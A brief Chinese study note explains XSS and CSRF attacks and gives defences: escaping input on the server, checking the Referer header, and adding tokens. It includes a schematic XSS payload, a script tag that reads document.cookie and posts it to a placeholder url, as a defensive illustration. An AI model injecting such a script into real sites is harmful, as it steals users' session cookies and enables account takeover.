1、XSS攻击(跨站脚本攻击)
通过各种手段,往网页上插入一些非法脚本,获取用户信息。
比如 通过form表单,输入
<script>
let cookie = document.cookie
post(url,cookie)
</script>
解决方法:服务端对于输入内容的特殊字符要进行转意
2、CSRF攻击 (跨站请求伪造)
https://blog.csdn.net/stpeace/article/details/53512283
不需要获取用户的cookie等信息,只需要在恶意网站上,模拟请求正常网站的API , 进行恶意删改数据,浏览器会自动带上正常网站的cookie,但这请求是用户不知道的,一切都显得那么合法。
解决办法:
1、后端通过http Referrer 判断客户端请求来源于何处,进行过滤;
2、在url或者请求头中加入token,后端对token进行验证